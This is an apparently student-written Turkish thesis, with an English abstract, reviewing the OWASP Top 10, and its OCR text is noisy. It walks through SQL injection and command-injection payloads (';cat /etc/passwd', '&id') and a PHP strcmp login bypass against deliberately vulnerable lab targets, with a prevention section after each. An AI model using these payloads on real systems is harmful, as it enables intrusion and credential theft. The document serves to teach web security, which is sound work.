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En Riskli 10 OWASP Zafiyetleri Incelemesi

Oz

OWASP (Acik Web Uygulama Giivenligi Projesi) adli topluluk, hacker olarak
adlandirilan kotii niyetli kisilere kars1 miicadele etmek i¢in kurulmustur. OWASP, en
bliyiik giivenlik aciklarini inceleyerek belirli kriterlere gore siralar. Bu ¢alismada, en
tehlikeli agiklar incelenmistir. "Injection" ad1 verilen bu agikliklar genellikle kullanici
tarafindan saglanan ve denetlenmeyen verilerden kaynaklanir. Saldirganlar sistemlere
beklenmedik veriler gonderebilir ve yetkisi olmayan verilere izinsiz erisebilir. "Broken
Authentication" olarak bilinen agiklik ise genellikle kimlik dogrulama, oturum agma
gibi islevlerin yanlis kullanilmasi sonucunda ortaya ¢ikar. Saldirganlar genellikle bu
tir saldirilar i¢cin "Brute Force" yOntemini kullanirlar. "Sensitive Data Exposure"
acikligl, sifrelenmemis veya eski varsayilan sifreleme algoritmalarinin kullanildig:
verilerin ortaya ¢ikmasina neden olur. "XML External Entities" a¢181, eski veya yanlis
yapilandirilmig XML dosyalarindan kaynaklanir. "Broken Access Control" acgigi,
kullanict haklarinin yeterince kontrol edilmemesi sonucunda ortaya ¢ikar. "Security
Misconfiguration" acig1, hizmet yapilandirmasinin yanhs veya eksik olmasindan
kaynaklanir. "Cross Site Scripting" acig1 kullanici tarafindan saglanan verilerin tam
olarak denetlenmeden veya belirli bir filtreden gegirilmeden yanit olarak
gonderilmesiyle olusur. "Insecure Deserialization" a¢1g1 uzaktan kod c¢alistirilmasina
neden olabilir. "Using Components with Known Vulnerabilities" aci181, kullanilan
bilesenlerin eski siiriimleri veya bilinen giivenlik agiklar1 olan siirlimleri nedeniyle
ortaya ¢ikar. ‘"Insufficient Logging and Monitoring" acigr ise izleme
yapilandirmalariyla birlikte saldirganlarin daha fazla saldiri gergeklestirmesine,
sistemde daha uzun siire kalmasina ve verilere istedikleri gibi miidahale etmesine

olanak tanir.
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The Examination of The Top 10 OWASP

Vulnerabilities

Abstract

The community known as OWASP (Open Web Application Security Project) was
established to combat malicious individuals termed as hackers. OWASP ranks the
most significant security vulnerabilities based on specific criteria by examining them.
This study focuses on the most critical vulnerabilities. These vulnerabilities, known as
"Injection," often stem from unvalidated user input. Attackers can send unexpected
data to systems and gain unauthorized access to sensitive data. The vulnerability
known as "Broken Authentication" typically arises from misusing functions like
authentication and session management. Attackers commonly employ "Brute Force"
methods for such attacks. "Sensitive Data Exposure" occurs when data is exposed due
to lack of encryption or the use of outdated encryption algorithms. The "XML External
Entities" vulnerability arises from outdated or improperly configured XML files.
"Broken Access Control" emerges from inadequate control over user rights. "Security
Misconfiguration" results from incorrect or incomplete service configurations. "Cross-
Site Scripting" vulnerability occurs when user-supplied data is sent as a response
without proper validation or filtering. "Insecure Deserialization" vulnerability can lead
to remote code execution. "Using Components with Known Vulnerabilities" arises due
to the use of outdated versions of components or versions with known security flaws.
The "Insufficient Logging and Monitoring" vulnerability, when combined with
improper monitoring configurations, allows attackers to execute more attacks, stay

within the system for longer periods, and manipulate data as they please.
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Bolim 1
1 GIRIS

Gilinlimiizde bilgisayar sistemlerine yapilan saldirilar giin gectikce artiyor. Saldirilar
her gecen giin daha da karmasiklasmaktadir. Kurum ve kuruluslara yapilan siber
saldirilar, maddi zararlara yol agmaktadir, ayrica yapilan bu siber saldirilar kurum ve
kuruluslarin sayginliklarin1 kaybetmesine ve bilgilerin ¢alinmasina sebep olmaktadir.
Siber saldirillara kars1 sistemlerin ve sistem yoOneticilerinin Onlem almasi
gerekmektedir. Bilgiye ulasmanin kolaylagmasiyla birlikte saldirganlarin teknik bilgisi
her gecen giin artmaktadir. Siber saldirilar1 gerceklestiren siyah sapkali hackerlerin

verecegi zararlar1 engellemek amaciyla beyaz sapkali hacker ekipleri kurulmustur.

OWASP, Open Web Application Security Project anlamina gelmektedir. Giiniimiizde
beyaz sapkali hackerlerin yetistirilmesi yeteri kadar pratik yapilabilmesi i¢in, web
uygulamalarindaki giivenlik zafiyetlerinin kapatilmasi ve siirekli olarak giivenliginin

saglanmasi i¢in ¢aligmalar yapan 6zgiir bir topluluktur.



Bolim 2

2.1 ENJEKSIYON

OWASP (Open Web Application Security Project) tarafindan tanimlanan en tehlikeli
10 giivenlik ac1g1 arasinda "Injection" belirgin bir 6neme sahiptir. Injection, genellikle
veri tabani sorgularina veya diger komutlara zararli veri enjekte edilerek
gerceklestirilen bir saldir1 bigimidir. Bu, bir web uygulamasinin, kullanici tarafindan
saglanan girisleri dogru bir sekilde islememesi veya filtrelememesi durumunda ortaya

cikar.

Ornegin, SQL Injection saldirilari, bir saldirgann bir web formu veya URL
parametresi araciligiyla SQL sorgularina zararli kod enjekte etmesini saglar.
Uygulama girisleri uygun sekilde filtrelenmediginde, saldirganin SQL komutlar
uygulanabilir hale gelir. Bu durumda saldirgan, veri tabaninda istenmeyen iglemler
gerceklestirebilir, veri calabilir veya veri tabanin1 tamamen ele gecirebilir. Diger
tiirlerde benzer durumlar meydana gelebilir. Ornegin, LDAP Injection, XML Injection
veya OS Command Injection gibi tiirlerde, saldirganlar farkli enjekte edilen verilerle
ilgili olarak veri tabanlarmma, LDAP dizinlerine, XML dosyalarina veya isletim

sistemine zararli komutlar enjekte edebilirler.

2.1.1 SQL Enjeksiyon

SQL Injection, bir web uygulamasinin giivenlik agiklarindan biridir ve kotii niyetli
kisilerin veri tabani islemlerine karigmalarina olanak tanir. Bu saldir tiirlinde,
saldirganlar web uygulamasina saglanan giris alanlarina veya parametrelere 6zel
olarak hazirlanmis SQL kodlar1 ekleyerek veri tabani sorgularini degistirirler. Eger
web uygulamasi girisleri yeterince filtrelenmez veya dogrulanmazsa, bu SQL kodlar1
basariyla ¢alistirilir ve saldirganlar veri tabanindan istedikleri bilgilere erisebilir, veri
tabanini degistirebilir veya hatta kontrol edebilirler. SQL Injection saldirilar1 oldukca

yaygin ve ciddi bir giivenlik tehdidi olusturur.
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Sekil 2.1. 1: Zafiyetli (testphp.vulnweb.com) Web Sitesinin Giris Ekrani

Sekil 2.1.1°de zafiyetli web sitesinin giris ekran1 gosterilmistir. Bir kullanict adi ve
sifre girisi alan1 olan bir web formunda, bir saldirgan SQL Injection kullanarak giris
alanlarina ekledigi 6zel bir SQL kodu araciligiyla kullanic1 adi ve sifre kontroliinii
atlayabilir veya kullanic1 ad1 ve sifre bilgilerini ele gegirebilir. Bu sekilde, saldirganin
izinsiz olarak sisteme erismesi miimkiin olabilir. Bu 6rnegi, bu tiir egitimler i¢in

planlanmis olan “http://testphp.vulnweb.com” web sitesinde gorebiliriz.
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Sekil 2.1. 2: Zafiyetin Bulunmasi I¢in Uygulanan islemler (A)

Sekil 2.1.2 (A)’da “Browse Categories” sekmesine tiklanildi ve agilan ekrandan

“Posters” kismina girildi.
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Sekil 2.1.2 (B)’de Posters kisminda ekrana gelen requeste bakildi.
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Zafiyetin Bulunmas: i¢in Uygulanan islemler (C)

Sekil 2.1.2 (C)’de Request degeri 2 yapildiginda sayfada olan degisim gozlemlendi.
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Sekil 2.1.2 (D)’ de Request degeri ‘2-1° olarak degistirildi.
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l Offensive Security

Jl Offensive Security

Sekil 2.1.2 (E)’de goriildiigii gibi tekrardan ilk sayfaya doniildii. Ciinkii veri tabaninda

arama yaparken ‘2 - 1’ iglemi ‘1’ olarak algilanir. Gézlem sonucunda, “Union”

ifadesini kullanarak URL kisminda c¢esitli sorgular yapilabilir. Fakat dikkat edilmesi

gereken sey kolon sayilariin esit olmasidir. URL’ye UNION SELECT 1 sorgusu

eklenip sonug¢ gozlemlendi ve bir hata alindi. Bu hata bize kolon sayilarinin ayni

olmadigini sdylemektedir. Onemli olan referans noktasma déniilebilmesidir.
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Sekil 2.1.2 (F)’de Yapilmasi gereken sey referans noktasina donene kadar kolon
sayisint arttirmaktir. Kolon sayisini arttirarak kontrol edildigi zaman, deger 11

geldiginde referans noktasina doniildiigii gbzlemlendi.
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Zafiyetin Bulunmasi I¢in Uygulanan Islemler (G)

Sekil 2.1.2 (G)’de Sayfada asagi dogru inildiginde referans sayfasindan farkli degerler
gozikmektedir. 7, 2 ve 9 degerlerinde demek istedigi, daha once ki “SELECT”

sorgusunun indislerini uygulama ve kod sayesinde ekrana yazdir.
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Zafiyetin Bulunmasi I¢in Uygulanan Islemler (H)
Sekil 2.1.2 (H)’de ornek olarak, 7. Kolonda bir yardimci fonksiyon c¢alistirilirsa,
mesela “version()”fonksiyonu, sayfada bu versiyon goziikiir. Veri tabanindan veri

cikarmaya baglandi.
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Zafiyetin Bulunmast i¢in Uygulanan islemler (I)

Sekil 2.1.2 (I)’)da URL’de version() fonksiyonu yerine database() yardimci

fonksiyonunu yazilirsa, veri taban1 ismi elde edilir.
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Zafiyetin Bulunmasi i¢in Uygulanan Islemler (1)

Sekil 2.1.2 (I)’)de URL kismma “FROM information schema.tables WHERE
table schema = database()” sorgusu yazilirsa ve 7 rakami yerine “table names”

yazildiginda sayfa veri tabaninda bulunan tablo isimleri ¢ikar.
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Zafiyetin Bulunmasi I¢in Uygulanan Islemler (J)

Sekil 2.1.2 (J)’de “FROM information_schema.columns WHERE table name =

19

'users"”” olarak degistirip, 7. Kolona “column name” yazilirsa, “users” tablosunun

icerigi ekrana yansir.
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Zafiyetin Bulunmasi I¢in Uygulanan Islemler (K)

Sekil 2.1.2 (K)’da soru sorgular1 degistirilip uname ve pass’a erisim saglanabilir.
Sorguya “FROM users” 7. Kolona “uname” yazilirsa, sayfaya kullanici adini

yazdiracaktir.
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Sekil 2.1.2 (L)’de 7.Kolona “pass” yazilirsa, sayfaya sifreyi yazdiracaktir.



2.1.2 Komut Enjeksiyon

Command Injection, hedefte bulunan savunmasiz bir uygulama aracilifiyla ana
bilgisayar isletim sisteminde rastgele komutlarin yiiriitilmesidir ve kotii niyetli
kisilerin komut istemcisine (Command Shell) miidahale etmelerine olanak tanir. Bu
zafiyetin sistemde kullanicidan input alinan her yerde bulunma ihtimali oldukca
fazladir. Ornegin formlar, tanimlama bilgileri ve HTTP iist bilgileridir. Bu zafiyet
kullanicinin girmis oldugu verinin yaninda Linux ya da Windows komutlar
calistirmasina olanak saglar. Zafiyetin var oldugu sistemde bir arama kutusu veya URL
parametresi gibi giris alanlar1 olan bir web uygulamasinda, bir saldirgan Command
Injection kullanarak giris alanlarina ekledigi 6zel bir komut araciligiyla sistem
komutlarini1 ¢aligtirabilir. Bu sekilde, saldirgan dosya indirebilir, sistem dosyalarini
okuyabilir veya degistirebilir, hatta sistem tizerinde yetki kazanabilir. Bu zafiyet cmd

veya Linux terminalinde komut ¢alistirmaya benzemektedir.

2.1.2.1 Komut Enjeksiyon Karakter Kullanimi

Command Injection saldirilarinda kullanilan baz1 yaygin karakterler sunlardir:

e ";" (Noktali virgiil): Komutlar1 ayirmak ve ardisik komutlar eklemek i¢in
kullanilabilir.

e "|" (Dikey ¢izgi): Komutlarin ¢iktilarin1 baska bir komuta yonlendirmek i¢in
kullanilabilir.

o "&" (Ve isareti): Komutlar1 birlestirmek veya arka planda c¢alistirmak i¢in

kullanilabilir.

nan

. (Geri ag1l1 tirnak): I¢ine alinan komutlar1 ¢alistirmak igin kullanilabilir.

Ornegin, bir saldirgan asagidaki gibi bir URL'de Command Injection saldirisi
gergeklestirebilir: http://example.com/search?query=test;1s%20-1a

Bu URL'de, "test" kelimesi aranirken, ";" karakteri ile ayrilan bir baska komut
eklenmistir ("ls -la" komutu), bdylece bu komut da c¢alistirilacaktir. Bu sekilde,

saldirgan sistemin dosya listesini alabilir.
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/ O C ommand INjection /

DNS locokup:  www.nsa.gov Lookup

Sekil 2.1. 3: Command Zafiyeti Bulunan Site (A)

/ OS Command Injection /

DNS lookup: | www.nsa.gov&id Lookup

Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: www.nsa.gov canonical name =
nsa.gov.edgekey.net. nsa.gov.edgekey.net canonical name = e16248.dscb.akamaiedge.net. Name:
e16248.dscb.akamaiedge.net Address: 184.24 .237.20

Command Zafiyeti Bulunan Site (B)

Sekil 2.1.3 (B)’da “Lookup” butonuna basildiginda domaine ait bilgiler elde
edilmektedir. Bazi command injection karakterleri kullanarak Linux komutlari

calistirilmustir.

/ OS Command Injection /

DNS lookup: [ www.nsa.gov;cat fetc/passwd ] Lookup

uid=33(www-data) gid=33(www-data) groups=33(www-data) Server: 192.168.1.1 Address: 192.168.1.1#53 Non-
authoritative answer: www.nsa.gov canonical name = nsa.gov.edgekey.net. nsa.gov.edgekey.net canonical name =
e16248.dscb.akamaiedge.net. Name: e16248.dscb.akamaiedge.net Address: 184.24.237.20

Command Zafiyeti Bulunan Site (C)

Sekil 2.1.3 (C)’de oncelikle “&” ifadesi kullanilarak “id” komutu caligtirilmistir.

Sonug olarak “www-data” kullanicisinin id bilgisi elde edilmistir.

Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: www.nsa.gov canonical name =
nsa.gov.edgekey.net. nsa.gov.edgekey.net canonical name = e16248. dscb.akamaiedge.net. Name:
e16248.dscb.akamaiedge.net Address: 184.24.237.20 root:x:0:0:root/root/bin/bash daemon:x:1:1:daemon/usr
/sbin/bin/sh bin:x:2:2:bin/bin:/bin/sh sys:x:3:3:sys/dev/bin/sh sync:x:4:65534:sync’binybin/sync
games:x:5:60:games/usr/games’bin/sh man:x:6:12:manvar/cache/man’bin/sh Ip:x:7:7Ipvar/spool/ipd /bin/sh
8:mailvvar/mail/bin/sh news:x:9:9:news:/var/spool/news/bin/sh uucp:x:10:10:uucpvar/spool/uucpbin/sh
proxyx:13:13proxy/bin:/bin‘sh www-data:x:33:33:www-data/var/wwwrbin/sh backup:x:34:34:backup:/var
/backups’bin/sh list:x:38:38:Mailing List Manager:/var/ist/bin/sh irc:x:39:39ircd:/var/runfircd/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System {(admin):/var/lib/gnatsv/bin/sh

nobody:x:65534:65534 :nobody/nonexisient/bin/sh libuuid:x:100:101 ::fvar/lib/libuuid:/bin‘sh
dhcp:x:101:102:/nonexistent/bin/false syslog:x:102:103:/home/syslog ’bin/false Kiog:x:103:104::/home/kiog:
/bin/false hplip:x:104:7:HPLIP system user,,, JYvar/run/hplip/bin/false avahi-autoipd:x:105:113:Avahi autoip
daemon_,./var/lib/avahi-autoipd:/bin/false gdm:x:106:1 14:Gnome Display Manager:/var/iib/gdmibin/faise
pulse:x:107:116:PulseAudio daemon,,. /var/run/pulsebin/false messagebus:x:108:119:/varfrun/dbus:/bin/false
avahi:x:109:120:Avahi mDNS daemon. . Jvarfrun/avahi-daemonsbin/false polkituser:x:110:122:PolicyKit,, . var
/run/PolicyKit/bin/false haldaemon:x:111:123:Hardware abstraction layer,../var/run/hald/bin/false
bee:x:1000:1000:bee..,/home/bee/bin‘bash mysqgl:x:112:124:MySQL Server, . Yvar/lib/mysqgl/bin/faise
sshd:x:113:65534: Yvar/run/sshd:/usr/sbin/nologin dovecot:x:114:126:Dovecot mail server,, . /usr/lib/dovecot:
/bin/false smmiax:115:127:Mail Transfer Agent,..Jvar/lib/sendmail/Din/false smmsp:x:116:128:Mail Submission
Program,../var/ib/sendmail /bin/false neo:x:1001:1001:Yhome/neorbin/sh alice:x:1002:1002:Yhome/alice/bin/sh
thor:x:1003:1003:/home/thor/bin/sh wolverine:x:1004:1004 /home/wolverine/bin/sh johnny:x:1005:1005:./home
/johnny/bin/sh selene:x:1006:1006::’home/selenerbin/sh postfix:x:117:129:/var/spool/postfix:/bin/faise
profipd:x:118:65534 var/run/proftpd /bin/ffalse fip:x:119:65534: Yhome/ftpJ/bin/false snmp:x:120:65534:/var
/lib’'snmp/binffalse ntp:x:121:131:Yhome/ntp/bin/false

Command Zafiyeti Bulunan Site (D)

Sekil 2.1.3 (D)’de Bir baska ifade olan “;” ifadesini denenmistir. Bu ifadeyi

kullanilarak “cat” komutu ile “/etc/passwd” dosyast okunmustur.
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2.1.2.2 Komut Enjeksiyon Zafiyetinin Onlenmesi

Command Injection zafiyetlerini engellemek i¢in asagidaki adimlar atilabilir:

1. Kullanic1 Giriglerinin Onaylanmasi ve Filtrelenmesi: Web uygulamalari,
kullanicr girislerini denetlemeli ve giivensiz karakterleri elemelidir. Kullanici
giriglerinin temizlenmesi veya kabul edilmemesi gereken karakterlerin
reddedilmesi, Command Injection saldirilarin1 durdurur.

2. Parametrize Sorgularin Incelenmesi: SQL Injection'da oldugu gibi, Command
Injection saldirilarini 6nlemek icin parametrize sorgular kullanilmalidir.
Parametrize sorgular, kullanici girislerini sorguya dogrudan eklemek yerine,
ayr1 parametreler olarak iglenir ve bu sekilde saldirganlarin zararli komutlarini
eklemesi zorlasir.

3. En Az Ayricalik Ilkesi: Web uygulamalari, isletim sistemi komutlarini
calistirmak i¢in en diisiik ayricaliga sahip kullanict hesaplarini kullanmalidir.
Bu sekilde, saldirganlarin erisebilecegi zararli islemler sinirlanir.

4. Giivenlik Denetimleri: Web uygulamalari, diizenli olarak kullanict girislerini
ve uygulama ig¢i iletisimi kontrol etmeli ve glivenlik agiklar tespit edildiginde
hizlica diizeltmelidir.

5. Yazilim Giincellemelerinin Yapilmas:: Isletim sistemi ve web uygulamasi
yazilimlar1 giincel tutulmalidir. Yazilim giincellemeleri genellikle glivenlik
agiklari diizeltir ve Command Injection gibi saldirilara karsi daha saglam bir
koruma saglar.

6. Giivenlik Duvarimin Kullanilmasi: Web uygulamalari i¢in bir giivenlik duvari
konumlandirilabilir. Giivenlik duvari, gelen istekleri izler ve potansiyel
saldirilar1 engeller veya filtreler.

7. Egitim ve Farkindalik: Gelistiricilere ve sistem yoneticilerine Command
Injection ve diger giivenlik zafiyetleri hakkinda egitim verilmeli ve gilivenlik

onlemleri konusunda farkindalik olusturulmalidir.

Zafiyetin olusum nedeni sistem komutlarinin kullanimindan kaynaklanmaktadir. En
mantikli korunma yontemi sistem komutlarinin kullanimina izin verilmemesidir ama
eger bir nedenden otiirii izin verildiyse yukaridaki gibi bazi 6nlemler alinabilir. Ayrica

asagidaki onlemler de alinabilir:
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Alnan girdi formatinin kontroliiniin saglanmas1 ve yetki analizinin yapilmasi.
Sistem {izerinde girdileri degerlendirmek icin “Whitelist, Blacklist” gibi
yapilarin olusturulmasi.

Girdi isleminin yalnizca alfa numerik karakterlerden olugmasi.

Ozel karakterlerin site igerisinde kullanimimnin kisitlanmasi ya da engellenmesi.
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2.2 BOZUK KIMLIK DOGRULAMA

Broken Authentication, bir web uygulamasinin kimlik dogrulama ve oturum ydnetimi
islemlerindeki zayifliklardir. Bu tiir zayifliklar, k6tii niyetli kisilerin kimlik dogrulama
mekanizmalarin1 atlama veya oturumlar1 ele gegirme yoluyla yetkisiz erisim

saglamalarina olanak tanir.

Ornegin, bir web uygulamasinda kullanicilarin oturum agmak igin kullandig1 kimlik
dogrulama mekanizmasinin zayif veya hatali olmasi durumunda, saldirganlar kullanici
ad1 ve parola gibi bilgileri ele gegirerek hesaplara yetkisiz erisim saglayabilirler. Bu

da kullanicilarin verilere veya 6zel bilgilere yetkisiz erisim saglamasi1 anlamina gelir.

2.2.1 Kimlik Dogrulamasi

Kimlik bilgisi dogrulanirken, kullanicidan alinan kimlik bilgilerinin, giris yapacagi
sistemdeki kullanilan veri tabaninda bulunan kimlik bilgileri ile karsilastirilir. Kimlik
bilgileri eslesirse kullanic1 sisteme giris yapabilir. Giris yapan kullanicinin
erisebilecegi dizinler ve yapabilecegi islemler daha Onceden hesabin sistemde

belirlendigi yetki diizeyine goredir.

Kimlik bilgisi dogrulamasi birden fazla yontemle yapilabilir. Temel seviye kimlik
dogrulamasinda kullanici ad1 veya e-posta ve parola bilgisi kullanilir. Daha gii¢lii bir
kimlik dogrulamasi i¢in ise kullanici ad1 ve parola disinda farkli dogrulama faktorleri

kullanilir. Giniimiizde kullanilan bu faktorler:

e Bilgi Faktorii: Kullanici ad1 ve parolanin yaninda tek kullanimlik sifreler, pin
veya gizli bir sorunun cevabi istenilebilir.

o Kaliim Faktorii: Kisiye oOzel fiziksel ozelliklerin kullanildig:r faktordiir.
Parmak izi, yliz tanima, retina taramasi 6rnek olarak verilebilir.

e Konum Faktorii: Sisteme sadece belirlenmis konumlardan girme islemidir.

e Sahiplik Faktorii: Kisiye 6zel belirlenmis kart, aygit veya cihazlardir.

e Zaman Faktorii: Genelde konumla birlikte kullanilir ve saat farki gozetilir.
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2.2.2 Kimlik Dogrulama Zafiyetinin Olusmasi

Kimlik dogrulamasi zafiyetleri, ¢esitli faktorlerin bir araya gelmesi sonucu ortaya

c¢ikabilir. Bu zafiyetlerin olusmasina neden olan bazi ana faktorler:

e Zayif Parola Politikalari: Web uygulamalari, kullanicilarin zayif veya kolayca
tahmin edilebilir parolalar se¢melerine izin veriyorsa, bu durum kimlik
dogrulamasi agisindan zafiyetlere yol agabilir. Kullanicilarin gii¢lii parolalar
olusturmalarini saglamak i¢in uygun politikalarin uygulanmasi kritiktir.

e Kullanici Giris Bilgilerinin Giivenligi: Kullanicilarin giris bilgileri (kullanict
adlari, parolalar) giivenli bir sekilde saklanmadigi veya aktarilmadigi
durumlarda, saldirganlar bu bilgilere erigebilir ve kimlik dogrulamasini
atlayabilir. Veri tabani saldirilari, saldirganlarin bu bilgilere ulagsmasina neden
olabilir.

e Zayif Oturum Yonetimi: Web uygulamalari, oturumlarin giivenli bir sekilde
yonetilmedigi zaman, zafiyetlere acik hale gelebilir. Oturum kimlikleri
(session IDs) veya cerezlerin (cookies) kotiiye kullanilmasi, oturumlarin ele
gecirilmesine ve izinsiz erisime neden olabilir.

¢ Yanlis Konfigiirasyonlar: Web sunucusu, veri tabani veya diger bilesenlerin
yanlis yapilandirilmasi, glivenlik aciklarinin meydana gelmesine yol agabilir.
Ornegin, varsayilan kullanici adi ve parolalarin kullanilmas: gibi hatalar,
saldirganlarin sisteme erismesine imkan tanir.

e (Giincelleme ve Yama Eksiklikleri: Web uygulamalart ve altta yatan
yazilimlarin  diizenli olarak gilincellenmemesi veya yamalanmamasi
durumunda, gilivenlik aciklar1 ortaya c¢ikabilir ve saldirganlar bunlari

kullanarak kimlik dogrulamasin1 gegebilir veya bilgilere ulasabilir.

2.2.3 Kimlik Dogrulama Zafiyetinin Istismar Edilmesi

Asagidaki Ornekte yazilimcinin  php stremp fonksiyonunu uygun sekilde
kullanmadiginda nasil bir zafiyet dogurdugu gosterilmistir. Bu 6rnek i¢in kurban
makine olarak vulnhub sitesinden IMF:1 sanal makinesi kullanilmigtir. Saldirgan

makine olarak da Kali Linux kullanilmistir. IMF:1 bilerek zafiyet birakilmis bir sanal
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makinedir. Kurulum tamamladiktan sonra kimlik bilgilerinin istendigi bir login giris

sayfasi karsilamistir.

& C @ © & 10.0.25

&\ Kali Linux X Kali Training X Kali Tools X Kali Forums < K;

Username:

Password:
Login

Sekil 2.2. 1: Zafiyet Bulunduran Sitenin Girig Sayfasi

Pretty EGEITM n  Actions Vv

1 POST /imfadministrator/ HTTP/1.1
2 Host: 10.0.2.5
3 User-Agent: Mozilla/5.0 (X11; Linux xB86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xnl;q=0.9,1nage/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 37
9 Origin: http://10.0.2.5
|10 Connection: close
'11 Referer: http://10.0.2,5/infadninistrator/
112 Cookie: PHPSESSID=casa63tg55mOpj Jubvdm9dfc3s
113 Uparade-Insecure-Requests: 1
Sekil 2.2. 2: Zafiyet Bulunduran Sitenin Giris Sayfas1 Request Ciktis1

12 Invalad usernane, <forn nethod="POST" action="">

13 <labelaUsernaner</label seanput type="text" name="user" value=""><br [»
14 <label>Passvord: ¢/Label ><input type="password" name="pass" value=""><hr />
l

5 <nput type="submt' value—"Loq1n">
Sekil 2.2. 3: Zafiyet Bulunduran Sitenin Girig Sayfas1t Response Ciktis1

Sonuglara bakildiginda kimlik bilgilerinin user ve pass degiskenine atanarak alindigi

goziikmektedir.

IMF:1 makinesinin ilgili PHP kodu incelendiginde ilgili dizine girip cat komutu

kullanarak acilan kodlar komut satirinda gosterilmektedir.
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www-data@inf: /var/www/html/imfadministrator§ cat index.php
cat index.php
<%php
session start();
Sloggedzn:false;
if (S_SESSION[’admln_logged_on’] == 'that is affirmative sir') {
echo "flag3{Y¥29udGludWwVUT2Ntew==}<br />Welcome, ".§ POST["user"] . "<br /><a href='cms.php?pagename=home'>IMF CMS</a>";
$loggedin=true; -
} elseif (isset($_POST["user"]) && isset(§_POST["pass"])) {
$password = "398£3j289£3j2389£j398£jhhds” &Hhkseifw3B9I3h# (&§$*838hIE";
sleep(3); // do not bruteforce
if (§_POST["user"]=='rmichaels') {

} else {
echo "Invalid username.";
}

}
if (§loggedin===false) {

o

<form method="POST" action="">

<label>Username:</label><input type="text" name="user" value=""><br />

<label>Password:</label><input type="password" name="pass" value=""><br />

<input type="submit" value="Login">

<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>

<?php } 2>

wwi-data@ing : /var/wiw/htnl/infadministrator$ [

Sekil 2.2. 4: Broken Authentication Zafiyetine Sebep Olan Kod Blogu

Stremp fonksiyonu parametre olarak aldig1 “pass” girdi alanina karsilik gelen deger ile
kullanicinin girdigi parolay karsilastiracaktir. Karsilagtirma sonucu “0” ise basaril bir
giris yapilacaktir. Ancak karsilagtirma sirasinda bir hata alinmast durumunda
fonksiyonunun geri doniis degeri “NULL” olacaktir. Boyle bir durumda geri doniis
degeri “=="seklinde karsilastirilirsa, bir uyar1 mesaj1 verilir ve bununla birlikte bir
zafiyet ortaya ¢ikabilir. Kurban makinede kullanilan strcmp fonksiyonunda hata
olmast durumunda “NULL==0=TRUE” seklinde yorumlanarak dogru sonucu
verecektir. Hataya sebebiyet vermesi i¢in “pass[]” seklinde dizi degiskeni

kullanilmustir.

m \n Actions v

1 POST /imfadministrator/ HTTP/1.1
2 Host: 10.0.2.5
3 User-Agent: Mozilla/5.0 (X11:; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/%;q=0.8
5 Accept-Language: en-US,en;q=0.5
5 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
5 Content-Length: 25
9 Origin: http://10.0.2.5
10 Connection: close
11 Referer: http://10.0.2.5/imfadministrator/
12 Cookie: PHPSESSID=4ftt3dghlsr7q8palnf0d32u84
12 Upgrade-Insecure-Requests: 1
14
15 user=rmichaelsé&pass| "sefagurkanmucahit"]

Sekil 2.2. 5: Zafiyet Bulunduran Site Sunucusuna Gonderilen Payload
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2.2.3 Kimlik Dogrulama Zafiyetinin Onlenmesi

Kimlik dogrulama zafiyetlerini 6nlemek i¢in su 6nlemler alinabilir:

e Saglam Parola Kurallar1: Kullanicilar: giiclii ve karmasik parolalar kullanmaya
tesvik etmek i¢in uygun parola politikalar1 uygulanmalidir. Bu kurallar,
uzunluk, biiytik/kii¢iik harf kullanimi, rakam ve 6zel karakter gereksinimlerini
icerebilir.

e Cift Faktorli Kimlik Dogrulama (MFA): Cift faktorli kimlik dogrulama
yontemleri, kullanicilarin parola disinda bagka bir dogrulama adimi atmalarini
gerektirir. Bu, saldirganlarin sadece parolay1 ele gegirmesi durumunda bile
sistem erisimini engeller.

e Oturum Zamanlama ve Yonetiminin lyilestirilmesi: Oturum siireleri
kisitlanmali ve kullanicilar oturumlarini kapatmay: unutsalar bile otomatik
olarak oturumlarmi sonlandiracak mekanizmalar kullanilmalidir. Ayrica,
oturum kimlikleri (session IDs) ve cerezler giivenli bir sekilde saklanmalidir.

e Girig Denemesi Sinirlart: Kullanicilarin belirli bir stire iginde belirli bir sayida
giris denemesi yapmalarina izin veren siirlamalar getirilmelidir. Bu, brute
force saldirilarini engellemeye yardimci olur.

e Giivenlik Duvarlar1 ve IPS/IDS Kullanimi: Gilivenlik duvarlar1 ve Sizma
Onleme Sistemleri (IPS) / Sizma Algilama Sistemleri (IDS), kimlik dogrulama
isteklerini izleyebilir ve anormal aktiviteleri tespit ederek saldirilar
Onleyebilir.

e Giivenlik Farkindalik Egitimleri: Kullanicilara giivenli parola uygulamalari,
phishing saldirilarina karsi dikkat etme ve kimlik dogrulama onlemlerini
kullanma konularinda egitimler verilmelidir.

e Yazilim Giincellemeleri: Web uygulamalar1 ve altta yatan yazilimlar diizenli
olarak giincellenmeli ve giivenlik yamalar1 uygulanmalidir. Bu, mevcut
giivenlik agiklarmin giderilmesine ve yeni zafiyetlerin ortaya ¢ikmasinin

onlenmesine katki saglar.
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2.3 HASSAS VERI SERGILENMESI

Hassas Bilgi Ifsas1 (Sensitive Data Exposure), bir web uygulamasinin hassas verileri
(6rnegin, kullanict parolalari, kredi kartt numaralari, kisisel detaylar vs.) yeterince
korumadig1 veya sifrelemedigi durumlarda meydana gelen bir giivenlik agigidir. Bu
acik, kotii niyetli kisilerin bu verilere izinsiz erigsim saglamasina ve kullanicilarin gizli
bilgilerinin ortaya ¢ikmasina yol agabilir. Hassas verilerin yeterince korunmamasi,

kullanict gizliligini tehlikeye atabilir ve 6nemli sonuglar dogurabilir.

2.3.1 Hassas Veri Zafiyetinin Istismar Edilmesi

an ex+r'emely bugay web app |

5{.16'5 Chanac Password Create User Set Security Level Reset Credits B\oﬂ

/ Baoseb4 Enc;odina (secret) /

Your secret has been stored as an encrypted cookie!

HINT: try to decrypt it...

Sekil 2.3. 1: bWapp Uzerinden Zafiyetli Web Sitesinin Secilmesi

| GET /LWAPP/insecure_crypt_storage 3, php HTTP/1 1
! Host: 100,24
